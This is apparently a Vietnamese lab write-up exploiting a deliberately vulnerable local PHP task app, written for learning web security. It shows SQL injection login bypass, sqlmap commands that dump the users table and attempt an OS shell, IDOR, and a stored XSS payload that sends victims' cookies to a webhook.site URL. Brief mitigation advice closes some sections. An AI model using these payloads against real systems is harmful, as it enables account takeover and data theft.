# Setup project ## Download project ```git # khởi tạo một Git repository git init # kích hoạt tính năng sparse-checkout git sparse-checkout init # Thêm đường dẫn của thư mục bạn muốn sao chép: git sparse-checkout set task_1 # Cuối cùng, sao chép (clone) repository từ GitHub: git remote add -f origin https://github.com/user/repository.git git pull origin main ``` ## Run project - vào thư mục có file **docker-compose.yml** ![image](https://hackmd.io/_uploads/B1hzFCrGR.png) - Mở terminal chạy ```docker-compose up``` - đợi cho đến khi database báo **ready for connections** ![image](https://hackmd.io/_uploads/HySTX0rfC.png) - truy cập trang web tại ```127.0.0.1:24001``` ![image](https://hackmd.io/_uploads/SJTjiCrGC.png) ![image](https://hackmd.io/_uploads/HyT2hAHfA.png) - đã có 2 tài khoản được tạo sẵn là: - ```cuong:12345678``` - ```admin:987654321``` - có trang đăng ký tài khoản ![image](https://hackmd.io/_uploads/SyRAhCHz0.png) - trang chính: ![image](https://hackmd.io/_uploads/Hk1FTCBGR.png) ## Exploit ### SQL injection 1. Bypass login - trang login bị lỗi SQLi - đoạn code không validate mà chuyền thẳng data user nhập từ form login và câu query đến database ![image](https://hackmd.io/_uploads/BJw3t797R.png) - mình có thể đăng nhập với user ```admin``` mà không cần mật khẩu ![image](https://hackmd.io/_uploads/SJBXvOYQC.png) ![image](https://hackmd.io/_uploads/HJHyPdtQ0.png) - trong trường hợp không biết username của các user mình thay đổi các giá trị ```limit 0,1 và 1,1``` để lấy giá trị đầu tiên và thứ 2 trong bảng users và có thể đăng nhập được vào user ```admin``` và user ```cuong``` ![image](https://hackmd.io/_uploads/rJx5sX5Q0.png) ![image](https://hackmd.io/_uploads/HyujiQq7C.png) ![image](https://hackmd.io/_uploads/SJEV2XcQC.png) - có thể xác định được số cột của table user với câu lệnh UNION ![image](https://hackmd.io/_uploads/rJ-Ba79QA.png) ```admin' UNION SELECT NULL, NULL, NULL -- -``` cho thấu table chứa username và password có 3 cột ![image](https://hackmd.io/_uploads/rkpdT797A.png) - dùng sqlmap với payload: ```sql sqlmap -u "http://192.168.0.67:24001/login.php" --cookie "PHPSESSID=640f609494f155927347e2bf8692348b" --data "username=*&password=*&login=Submit" --threads=10 --risk=3 --level=5 --dbms=MySQL --batch --proxy=http://192.168.0.67:8888 ``` ![image](https://hackmd.io/_uploads/BkKC-cTmR.png) - có thể tấn công với UNION và timebase ![image](https://hackmd.io/_uploads/r1cvz5amC.png) 2. Leak data - chức năng add task và delete task cũng bị SQLi ![image](https://hackmd.io/_uploads/ry52479XA.png) - với chức năng add task mình dùng sqlmap với payload sau để quét: ```sql sqlmap -u "http://192.168.1.58:24001/create.php" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --data "session_id=*&title=*" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL ``` ![image](https://hackmd.io/_uploads/BkQab75X0.png) - để ý log thấy bắn ra điên cuồng :))) ![image](https://hackmd.io/_uploads/HJDWuAcXR.png) - chức năng add task có thể tận dụng để thực hiện lỗi error-base và time-base SQLi ![image](https://hackmd.io/_uploads/B1IxGX97A.png) - tiếp theo mình tìm các table trong database hiện tại với payload: ```sql sqlmap -u "http://192.168.1.58:24001/create.php" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --data "session_id=*&title=*" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL --tables ``` ![image](https://hackmd.io/_uploads/SJjPMX5XC.png) - có 2 table là ```user_task``` và ```users``` - tiếp đến mình xem thông tin các cột của table ```users``` với payload: ```sql sqlmap -u "http://192.168.1.58:24001/create.php" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --data "session_id=*&title=*" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL -T users --columns ``` ![image](https://hackmd.io/_uploads/B1tjMQqQA.png) - cuối cùng mình dump toàn bộ dữ liệu trong table ```users``` ```sql sqlmap -u "http://192.168.1.58:24001/create.php" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --data "session_id=*&title=*" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL -T users --dump ``` ![image](https://hackmd.io/_uploads/rJ1lXmqmA.png) - tương tự với chức năng add task chức năng delete task cũng bị SQLi ![image](https://hackmd.io/_uploads/ryrAVQcQA.png) - với chức năng delete task mình dùng sqlmap với payload sau để quét: ```sql sqlmap -u "http://192.168.1.58:24001/delete.php?task_id=11&user_id=9" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL ``` ![image](https://hackmd.io/_uploads/rJpMV79Q0.png) - chức năng delete task có thể tận dụng để thực hiện lỗi error-base, boolean-base và time-base SQLi - và tương tự mình có thể dump được toàn bộ data trong table ```users``` ```sql sqlmap -u "http://192.168.1.58:24001/delete.php?task_id=11&user_id=9" --cookie "PHPSESSID=2fa4c8bd1cbfe9a41046e33c2a2b0ac5" --batch --threads=10 --risk=3 --level=5 --dbms=MySQL -T users --dump ``` ![image](https://hackmd.io/_uploads/Hk8kBQ970.png) - xem các request được tạo trên burp suit với lệnh ```sql sqlmap -u "http://192.168.0.67:24001/delete.php?task_id=11&user_id=9" --cookie "PHPSESSID=ee619f17cc8cefeeb32083092f08957b" --data "session_id=*&title=*" --threads=10 --risk=3 --level=5 --dbms=MySQL -T users --columns --batch --proxy=http://192.168.0.67:8888 ``` ![image](https://hackmd.io/_uploads/SkXC3KTXA.png) - với lệnh sau để RCE ```sql sqlmap -u "http://192.168.0.67:24001/create.php" --cookie "PHPSESSID=ee619f17cc8cefeeb32083092f08957b" --data "session_id=*&title=*" --threads=10 --risk=3 --level=5 --dbms=MySQL --file-read "var/www/html/index.php" --batch --os-shell ``` ![image](https://hackmd.io/_uploads/HyNKetpQ0.png) 1. Tài liệu gốc của máy chủ web và đường dẫn tuyệt đối: - Thư mục gốc của máy chủ web là ```/var/www```. - Đường dẫn tuyệt đối đến một tệp là ```/var/www/html/create.php```. 2. Các nỗ lực tải lên và vấn đề gặp phải: - sqlmap đã cố gắng tải một file stager lên thư mục ```/var/www/``` và ```/var/www/html/``` bằng phương pháp LIMIT 'LINES TERMINATED BY', nhưng gặp phải lỗi "Access denied". - Công cụ cũng phát hiện các lỗi HTTP 404 (Not Found) 7 lần, có nghĩa là một số trang hoặc tài nguyên mà nó cố gắng truy cập không tồn tại. - dùng lệnh sau để hiện chi tiết các gói tin sqlmap gửi đi ```sql sqlmap -u "http://192.168.0.67:24001/create.php" --cookie "PHPSESSID=ee619f17cc8cefeeb32083092f08957b" --data "session_id=*&title=*" --threads=10 --risk=3 --level=5 --dbms=MySQL --file-read "var/www/html/index.php" --batch --os-shell -v6 ``` ![image](https://hackmd.io/_uploads/S12jEY6X0.png) - Phát hiện quá nhiều mã lỗi HTTP 4xx và/hoặc 5xx mà cụ thể ở đây là 404 ![image](https://hackmd.io/_uploads/rkbgStpX0.png) ![image](https://hackmd.io/_uploads/SJLSaKp7R.png) - khai thác tay cho thấy không có quyền ghi ouput vào file rce.php ![image](https://hackmd.io/_uploads/ry6K9qTQR.png) - khi mình sửa lại truy vấn database với user root thì cần quyền ghi file vào thư mục ```/var/www/html``` ![image](https://hackmd.io/_uploads/HJr__6RmC.png) ![image](https://hackmd.io/_uploads/HJh2YJyNA.png) - có thể xem thêm khai thác SQLi <a href='https://hackmd.io/@monstercuong7/ByjK93F9a'>tại đây</a> để hạn chế lỗi này: - dùng hàm preparestatement để tham sô hóa đầu vào ```php $stmt = mysqli->prepare("select user_id from users where user_name= ? and password= ?"); $stmt->bindParam("ss",$username,$pass); $stmt->execute(); ``` - dùng hàm ```mysqli_real_escape_string``` để encode các ký tự đặc biệt ```php $username = mysqli_real_escape_string($con, $_POST["username"]); $password = mysqli_real_escape_string($con, $_POST["password"]); $query="select user_id from users where u.user_name='".$username."' and u.password='".md5($password)."' "; ``` ### IDOR - chức năng add task và xóa task bị lỗi IDOR - trang web lấy ```session_id``` từ phía người dùng rồi chuyền vào câu lệnh truy vấn ![image](https://hackmd.io/_uploads/BkUxvE570.png) - attacker có thể thay đổi session_id này và có thể tạo task mới cho user tương ứng - tạo task cho user admin ![image](https://hackmd.io/_uploads/S1EDuuF7A.png) ![image](https://hackmd.io/_uploads/HJdsOdFXA.png) - tạo task cho user cuong ![image](https://hackmd.io/_uploads/ByXK_uYQA.png) ![image](https://hackmd.io/_uploads/H1KTduF7C.png) - chức năng xóa task có chuyền parameter ```task_id``` và ```user_id``` mà người dùng có thể thay đổi được - user ```admin``` có thể xóa task của user ```cuong``` ![image](https://hackmd.io/_uploads/H17OV49m0.png) ![image](https://hackmd.io/_uploads/ByScKdF70.png) ![image](https://hackmd.io/_uploads/HkpoF_tmR.png) ### Store XSS - chức năng add task bị lỗi Store XSS ![image](https://hackmd.io/_uploads/Bk1qiutX0.png) ![image](https://hackmd.io/_uploads/SyRqsdYX0.png) - có thể dùng ```webhook``` hoặc ```pipedream.com``` để bắt cookie của victim ạ ![image](https://hackmd.io/_uploads/SkuM6OKm0.png) - Và sau khi load ảnh error thì sẽ gửi request đến webhook kèm cookie của nạn nhận với bất kì người dùng nào truy cập trang này ![image](https://hackmd.io/_uploads/Sk5gTOtm0.png) ![image](https://hackmd.io/_uploads/r14YTutXC.png) ![image](https://hackmd.io/_uploads/H1VNaOt7C.png) - tương tự chức năng add task chức năng register cũng bị lỗi Store XSS ```javascript <img src=x onerror=fetch(`https://webhook.site/fa8c0082-9df4-495e-a331-0342f9ab2066?cookie=${document.cookie}`)> <script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script> ``` ![image](https://hackmd.io/_uploads/HJE52jFX0.png) ![image](https://hackmd.io/_uploads/ryTBhitmA.png) ![image](https://hackmd.io/_uploads/HkqB2oKX0.png) - để hạn chế lỗi này: - dùng hàm ```htmlspecialchars()``` ### Code injection ![image](https://hackmd.io/_uploads/Hy0T3sYmA.png) ![image](https://hackmd.io/_uploads/rJCkasK70.png) - nó không hoạt động vì ![image](https://hackmd.io/_uploads/S1pzZR970.png)